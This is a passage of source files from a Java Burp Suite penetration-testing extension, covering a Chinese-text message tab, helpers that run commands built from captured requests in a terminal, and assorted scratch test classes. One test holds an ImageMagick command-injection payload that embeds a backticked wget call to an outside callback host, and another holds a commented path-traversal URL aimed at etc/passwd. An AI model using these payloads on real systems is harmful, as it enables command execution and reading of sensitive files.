101 | encodingList.add(0, detectedCharset);
102 | }
103 | return encodingList;
104 | }
105 |
106 | public String getCurrentCharSet() {
107 | return getCharsetList().get(charSetIndex);
108 | }
109 |
110 | public String getNextCharSet() {
111 | List charsetList = getCharsetList();
112 | if (charSetIndex < charsetList.size() - 1) {
113 | charSetIndex = charSetIndex+1;
114 | } else {
115 | charSetIndex = 0;
116 | }
117 | return charsetList.get(charSetIndex);
118 | }
119 |
120 | @Override
121 | public void setMessage(byte[] content, boolean isRequest) {
122 | if (ByteArrayUtils.equals(originContent,content)) {
123 | return;
124 | }else {
125 | originContent = content;
126 | detectedCharset = BurpExtender.getHelperPlus().detectCharset(isRequest, content);
127 | panel.displayInChunks(content, isRequest, getCurrentCharSet(),1);
128 | }
129 | }
130 |
131 | /**
132 | * 中文下的编辑还是有问题,暂不支持。
133 | * 始终返回原始内容。
134 | */
135 | @Override
136 | public byte[] getMessage() {
137 | return originContent;
138 | }
139 |
140 | @Override
141 | public boolean isModified() {
142 | return false;
143 | }
144 |
145 | @Override
146 | public byte[] getSelectedData() {
147 | // return txtInput.getSelectedText();
148 | return null;
149 | }
150 |
151 |
152 | public static void main(String[] args) {
153 | String aaa = "STK_7411642209636022({\"errno\":1003,\"errmsg\":\"\\u7528\\u6237\\u672a\\u767b\\u5f55\",\"errmsg_lang\":{\"zh\":\"\\u7528\\u6237\\u672a\\u767b\\u5f55\",\"en\":\"User is not logged in.\",\"zh-HK\":\"\\u7528\\u6236\\u672a\\u767b\\u9304\"},\"data\":null});";
154 | System.out.println(StringEscapeUtils.unescapeJava(aaa));
155 | System.out.println(StringEscapeUtils.unescapeJava(aaa));
156 | }
157 | }
--------------------------------------------------------------------------------
/src/messageTab/U2C/ChineseTabFactory.java:
--------------------------------------------------------------------------------
1 | package messageTab.U2C;
2 |
3 | import burp.IBurpExtenderCallbacks;
4 | import burp.IExtensionHelpers;
5 | import burp.IMessageEditorController;
6 | import burp.IMessageEditorTab;
7 | import burp.IMessageEditorTabFactory;
8 |
9 | /**
10 | * 工厂类,构造一个个的Tab实例
11 | * @author bit4woo
12 | * @github https://github.com/bit4woo
13 | *
14 | */
15 | public class ChineseTabFactory implements IMessageEditorTabFactory
16 | {
17 | private static IExtensionHelpers helpers;
18 | private static IBurpExtenderCallbacks callbacks;
19 |
20 |
21 | public ChineseTabFactory(IMessageEditorController controller, boolean editable, IExtensionHelpers helpers, IBurpExtenderCallbacks callbacks)
22 | {
23 | ChineseTabFactory.callbacks = callbacks;
24 | ChineseTabFactory.helpers = helpers;
25 | }
26 |
27 | @Override
28 | public IMessageEditorTab createNewInstance(IMessageEditorController controller, boolean editable) {
29 | return new ChineseTab(controller,editable,helpers,callbacks);
30 | }
31 | }
--------------------------------------------------------------------------------
/src/messageTab/U2C/TextEditorDemo.java:
--------------------------------------------------------------------------------
1 | package messageTab.U2C;
2 | import javax.swing.*;
3 | import java.awt.BorderLayout;
4 |
5 | import org.fife.ui.rtextarea.*;
6 | import org.fife.ui.rsyntaxtextarea.*;
7 |
8 | public class TextEditorDemo extends JFrame {
9 |
10 | public TextEditorDemo() {
11 |
12 | JPanel cp = new JPanel(new BorderLayout());
13 |
14 | RSyntaxTextArea textArea = new RSyntaxTextArea(20, 60);
15 | textArea.setSyntaxEditingStyle(SyntaxConstants.SYNTAX_STYLE_JSON);
16 | textArea.setLineWrap(true);
17 | textArea.setWrapStyleWord(true);
18 | textArea.setAutoIndentEnabled(true);
19 | textArea.setCodeFoldingEnabled(true);
20 | RTextScrollPane sp = new RTextScrollPane(textArea);
21 | cp.add(sp);
22 |
23 | setContentPane(cp);
24 | setTitle("Text Editor Demo");
25 | setDefaultCloseOperation(EXIT_ON_CLOSE);
26 | pack();
27 | setLocationRelativeTo(null);
28 |
29 | }
30 |
31 | public static void main(String[] args) {
32 | // Start all Swing applications on the EDT.
33 | SwingUtilities.invokeLater(() -> new TextEditorDemo().setVisible(true));
34 | }
35 |
36 | }
--------------------------------------------------------------------------------
/src/runcmd/RunAsKonsole.java:
--------------------------------------------------------------------------------
1 | package runcmd;
2 |
3 | import java.io.IOException;
4 |
5 | public class RunAsKonsole {
6 |
7 | /**
8 | * 启动Konsole并异步执行命令
9 | * @param command 要执行的命令
10 | */
11 | public static void launchKonsoleAsync(String command) {
12 | Thread konsoleThread = new Thread(() -> {
13 | try {
14 | // 构建ProcessBuilder
15 | ProcessBuilder processBuilder = new ProcessBuilder("/usr/bin/konsole","--noclose", "-e", command);
16 | // 启动进程
17 | Process process = processBuilder.start();
18 | // 等待进程结束
19 | int exitCode = process.waitFor();
20 |
21 | // 进程结束后打印信息
22 | System.out.println("Konsole process exited with code: " + exitCode);
23 | } catch (IOException e) {
24 | e.printStackTrace();
25 | } catch (InterruptedException e) {
26 | throw new RuntimeException(e);
27 | }
28 | });
29 |
30 | // 设置线程为守护线程,这样在主程序退出时不会阻塞
31 | konsoleThread.setDaemon(true);
32 | // 启动线程
33 | konsoleThread.start();
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/src/runcmd/RunCmd_Action.java:
--------------------------------------------------------------------------------
1 | package runcmd;
2 |
3 | import burp.*;
4 | import com.bit4woo.utilbox.utils.SystemUtils;
5 | import config.ConfigEntry;
6 |
7 | import java.awt.event.ActionEvent;
8 | import java.awt.event.ActionListener;
9 | import java.io.File;
10 | import java.io.PrintWriter;
11 |
12 |
13 | public class RunCmd_Action implements ActionListener, Runnable {
14 |
15 | public static final String workdir = System.getProperty("user.home") + File.separator + ".knife";
16 | private final IContextMenuInvocation invocation;
17 | private final ConfigEntry config;
18 | public IExtensionHelpers helpers;
19 | public PrintWriter stdout;
20 | public PrintWriter stderr;
21 | public IBurpExtenderCallbacks callbacks;
22 | public BurpExtender burp;
23 |
24 |
25 | public RunCmd_Action(BurpExtender burp, IContextMenuInvocation invocation, ConfigEntry config) {
26 | this.burp = burp;
27 | this.invocation = invocation;
28 | this.helpers = BurpExtender.helpers;
29 | this.callbacks = BurpExtender.callbacks;
30 | this.stderr = BurpExtender.getStderr();
31 | this.stdout = BurpExtender.getStdout();
32 | this.config = config; //是否使用多个数据包的内容
33 | }
34 |
35 | @Override
36 | public void actionPerformed(ActionEvent event) {
37 | new Thread(this).start();//就是调用Runnable的run函数
38 | }
39 |
40 | @Override
41 | public void run() {
42 | try {
43 | IHttpRequestResponse[] messages = invocation.getSelectedMessages();
44 | if (messages != null) {
45 | boolean useRobot = (BurpExtender.getConfigTableModel().getConfigValueByKey("RunTerminalWithRobotInput") != null);
46 | boolean IsArchKonsole = (BurpExtender.getConfigTableModel().getConfigValueByKey("RunTerminalWithKonsole") != null);
47 | if (useRobot && !IsArchKonsole) {
48 | RobotInput.startCmdConsole();//尽早启动减少出错概率
49 | }
50 |
51 | String cmd = config.getFinalValue(messages);
52 | if (useRobot) {
53 | if (IsArchKonsole){
54 | //使用Konsole终端
55 | RunAsKonsole.launchKonsoleAsync(cmd);
56 | } else {
57 | //方案1:使用模拟输入实现
58 | new RobotInput().inputString(cmd);
59 | }
60 | } else {
61 | //方案2:使用bat文件实现
62 | String file = SystemUtils.genBatchFile(cmd, config.getKey() + ".bat");
63 | SystemUtils.runBatchFile(file);
64 | }
65 | }
66 | } catch (Exception e1) {
67 | e1.printStackTrace(stderr);
68 | }
69 | }
70 | }
--------------------------------------------------------------------------------
/src/test/ComBoxEditor.java:
--------------------------------------------------------------------------------
1 | package test;
2 |
3 | import java.awt.Component;
4 | import java.awt.event.ItemEvent;
5 | import java.awt.event.ItemListener;
6 | import java.awt.event.MouseEvent;
7 | import java.util.EventObject;
8 |
9 | import javax.swing.AbstractCellEditor;
10 | import javax.swing.JComboBox;
11 | import javax.swing.JLabel;
12 | import javax.swing.JTable;
13 | import javax.swing.table.TableCellEditor;
14 |
15 | class ComBoxEditor extends AbstractCellEditor implements TableCellEditor
16 | {
17 | /*
18 | * ReadMe: 这个 ComboBox下拉列表的编辑器 使用一个 JLable 和一个 JComboBox组合的
19 | * 将JComboBox放到JLable里,所以只需要将 JLable 作为编辑器组件返回就行了
20 | */
21 | private JComboBox m_ComboBox;
22 | //获取 下拉列表的 选择的值
23 | private String m_SelStr;
24 | private JLabel m_OutLable;
25 | //这里我们设置 鼠标点击 1 次就响应编辑器
26 | private static final int clickCountToStart = 1;
27 | //初始化编辑器包含的控件信息
28 | public ComBoxEditor()
29 | {
30 | m_ComboBox = new JComboBox();
31 | m_ComboBox.addItem("选项A");
32 | m_ComboBox.addItem("选项B");
33 | m_ComboBox.addItem("选项C");
34 |
35 | m_ComboBox.setSize(100,30);
36 |
37 | m_OutLable= new JLabel();
38 | m_OutLable.setLayout(null);
39 | m_OutLable.setBounds(0, 0, 120, 40);
40 | m_OutLable.add(m_ComboBox);
41 | m_ComboBox.setLocation(50, 50);
42 |
43 | //响应下拉列表的事件
44 | m_ComboBox.addItemListener(new ItemListener()
45 | {
46 | @Override
47 | public void itemStateChanged(ItemEvent e)
48 | {
49 | System.out.println("下拉列表的选中事件");
50 | if(e.getStateChange() == e.SELECTED)
51 | {
52 | //获取选择的值
53 | m_SelStr = (String)m_ComboBox.getSelectedItem();
54 | //结束选择
55 | fireEditingStopped();
56 | }
57 | }
58 | });
59 | }
60 | //检测鼠标的点击次数,判断编辑器是否起作用
61 | public boolean isCellEditable(EventObject anEvent)
62 | {
63 | //如果事件 是 鼠标的事件,大于设定的次数就true,否则false
64 | if (anEvent instanceof MouseEvent)
65 | {
66 | System.out.println("检测鼠标的点击次数,设置编辑器是否响应");
67 | return ((MouseEvent)anEvent).getClickCount() >= clickCountToStart;
68 | }
69 | return false;
70 | }
71 |
72 | //获取编辑器的组件
73 | @Override
74 | public Component getTableCellEditorComponent(JTable table, Object value,
75 | boolean isSelected, int row, int column)
76 | {
77 | System.out.println("获取编辑器的组件");
78 | //将下拉列表设置为之前的选项
79 | m_SelStr = (String)value;
80 | m_ComboBox.setSelectedItem(m_SelStr);
81 | //返回值为 null的时候 是空的编辑器,就是说 = =不允许 编辑的
82 | return m_OutLable;
83 | }
84 | //获取编辑器的 值
85 | @Override
86 | public Object getCellEditorValue()
87 | {return m_SelStr;}
88 | }
89 |
--------------------------------------------------------------------------------
/src/test/NewClass.java:
--------------------------------------------------------------------------------
1 | package test;
2 |
3 | public class NewClass {
4 | public static void main(String[] args)
5 | {
6 | try
7 | {
8 | // We are running "dir" and "ping" command on cmd
9 | Runtime.getRuntime().exec("cmd /c start cmd.exe /K \"dir && ping localhost\"");
10 | }
11 | catch (Exception e)
12 | {
13 | System.out.println("HEY Buddy ! U r Doing Something Wrong ");
14 | e.printStackTrace();
15 | }
16 | }
17 | }
--------------------------------------------------------------------------------
/src/test/RobotInActionListener.java:
--------------------------------------------------------------------------------
1 | package test;
2 |
3 |
4 | import java.awt.*;
5 | import java.awt.event.*;
6 |
7 | import burp.RobotInput;
8 |
9 | class RobotInActionListener extends Frame implements ActionListener
10 | {
11 | RobotInActionListener (String title)
12 | {
13 | super (title);
14 |
15 | addWindowListener (new WindowAdapter ()
16 | {
17 | public void windowClosing (WindowEvent e)
18 | {
19 | System.exit (0);
20 | }
21 | });
22 |
23 | Panel p = new Panel ();
24 | Button b = new Button ("Press Me");
25 | b.addActionListener (this);
26 | p.add (b);
27 |
28 | add (p);
29 |
30 | setSize (175, 100);
31 | setVisible (true);
32 | }
33 |
34 | public void actionPerformed111 (ActionEvent e)
35 | {
36 | try
37 | {
38 | Runtime.getRuntime ().exec ("notepad.exe");
39 | }
40 | catch (java.io.IOException e2) { System.out.println (e2);}
41 |
42 | try
43 | {
44 | Thread.sleep (1000);
45 | }
46 | catch (InterruptedException e2) {}
47 |
48 | try
49 | {
50 | Robot r = new Robot ();
51 |
52 | int [] keys =
53 | {
54 | KeyEvent.VK_T,
55 | KeyEvent.VK_E,
56 | KeyEvent.VK_X,
57 | KeyEvent.VK_T,
58 | KeyEvent.VK_ENTER
59 | };
60 |
61 | for (int i = 0; i < keys.length; i++)
62 | {
63 | r.keyPress (keys [i]);
64 | r.keyRelease (keys [i]);
65 | }
66 |
67 | Toolkit tk = Toolkit.getDefaultToolkit ();
68 | Dimension dim = tk.getScreenSize ();
69 |
70 | r.mouseMove (dim.width / 2, dim.height / 2);
71 | }
72 | catch (AWTException e2) {}
73 | }
74 |
75 | public void actionPerformed (ActionEvent e){
76 | try {
77 | String selectedUrl = new RobotInput().getSelectedString();
78 | } catch (AWTException e1) {
79 | // TODO Auto-generated catch block
80 | e1.printStackTrace();
81 | }
82 | }
83 |
84 |
85 | public static void main (String [] args)
86 | {
87 | new RobotInActionListener ("Robot Demo");
88 | }
89 | }
--------------------------------------------------------------------------------
/src/test/SetTest.java:
--------------------------------------------------------------------------------
1 | package test;
2 |
3 | import java.util.HashSet;
4 | import java.util.Set;
5 |
6 | public class SetTest {
7 | public static void main(String[] args) {
8 | Set tmp = new HashSet<>();
9 | System.out.println(tmp);
10 | System.out.println(tmp.size());
11 | for(String item:tmp){
12 | System.out.println(item+"111");
13 | }
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/src/test/URLTest.java:
--------------------------------------------------------------------------------
1 | package test;
2 |
3 | import java.io.File;
4 | import java.io.IOException;
5 | import java.net.URL;
6 |
7 | import org.apache.commons.io.FileUtils;
8 |
9 | public class URLTest
10 | {
11 | public static void main(String [] args)
12 | {
13 | try
14 | {
15 | // URL url = new URL("http://www.runoob.com/index.html?language=cn#j2se");
16 | URL url = new URL("www.runoob.com/index.html?language=cn#j2se");
17 | // url = new URL("http://127.0.0.1:5084/..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\etc/passwd");
18 | System.out.println("URL 为:" + url.toString());
19 | System.out.println("协议为:" + url.getProtocol());
20 | System.out.println("验证信息:" + url.getAuthority());
21 | System.out.println("文件名及请求参数:" + url.getFile());
22 | System.out.println("主机名:" + url.getHost());
23 | System.out.println("路径:" + url.getPath());
24 | System.out.println("端口:" + url.getPort());
25 | System.out.println("默认端口:" + url.getDefaultPort());
26 | System.out.println("请求参数:" + url.getQuery());
27 | System.out.println("定位位置:" + url.getRef());
28 |
29 | String path = url.getFile();
30 | String camFile = new File(path).getCanonicalFile().toString();
31 | System.out.println(File.separator);
32 | camFile = camFile.substring(camFile.indexOf(File.separator));
33 | System.out.println(camFile);
34 | File fullName = new File(new File("e:\\aaaa"),camFile.toString());
35 | System.out.println(fullName);
36 | FileUtils.write(fullName, "111");
37 | }catch(IOException e)
38 | {
39 | e.printStackTrace();
40 | }
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/src/test/gsoTest.java:
--------------------------------------------------------------------------------
1 | package test;
2 |
3 | import com.google.gson.Gson;
4 | import com.google.gson.GsonBuilder;
5 | import com.google.gson.JsonElement;
6 | import com.google.gson.JsonParser;
7 |
8 | import java.util.Base64;
9 |
10 | //import org.apache.commons.lang.StringEscapeUtils;
11 | import org.apache.commons.text.StringEscapeUtils;
12 |
13 | import burp.Getter;
14 |
15 | public class gsoTest {
16 | public static void main(String args[]) {
17 | test1();
18 | }
19 |
20 | public void test() {
21 | String chineseCharacter = "\\uff01\\u0040\\u0023\\uffe5\\u0025\\u2026\\u2026\\u0026\\u002a\\uff08\\uff09\\u2014\\u2014\\u002d\\u003d\\uff0c\\u3002\\uff1b\\uff1a\\u201c\\u2018\\u007b\\u007d\\u3010\\u3011\\u002b";
22 | String chineseCharacter1 = "\\uff01\\u0040\\u0023\\uffe5\\u0025";
23 | String test = String.format("{\"a\":\"%s\"}",chineseCharacter);
24 | System.out.println(test);
25 | Gson gson = new GsonBuilder().setPrettyPrinting().disableHtmlEscaping().serializeNulls().create();
26 | //Get only the JSON part of the content
27 | JsonParser jp = new JsonParser();
28 | JsonElement je = jp.parse(test);
29 | String xxx = gson.toJson(je);
30 | System.out.println( gson.toJson(je));
31 |
32 | System.out.println(StringEscapeUtils.unescapeJava(chineseCharacter));
33 | }
34 |
35 | public static void test1() {
36 | String payload ="push graphic-context\r\n" +
37 | "viewbox 0 0 640 480\r\n" +
38 | "image over 0,0 0,0 'https://imagemagic.bit.0y0.link/x.php?x=`wget -O- %s > /dev/null`'\r\n" +
39 | "pop graphic-context";
40 |
41 | String a = new String(Base64.getEncoder().encode(payload.getBytes()));
42 | System.out.println(a);
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/src/test/render.java:
--------------------------------------------------------------------------------
1 | package test;
2 |
3 | import java.awt.Component;
4 | import javax.swing.JComboBox;
5 | import javax.swing.JTable;
6 | import javax.swing.table.TableCellRenderer;
7 |
8 | public class render extends JComboBox implements TableCellRenderer{
9 | public render(){
10 | super();
11 | addItem("男");
12 | addItem("女");
13 | }
14 | public Component getTableCellRendererComponent(JTable table, Object value,
15 | boolean isSelected, boolean hasFocus, int row, int column) {
16 | if(isSelected){
17 | setForeground(table.getForeground());
18 | super.setBackground(table.getBackground());
19 | }else{
20 | setForeground(table.getForeground());
21 | setBackground(table.getBackground());
22 | }
23 | boolean isMale = ((Boolean)value).booleanValue();
24 | setSelectedIndex(isMale? 0 : 1);
25 | return this;
26 | }
27 |
28 | }
--------------------------------------------------------------------------------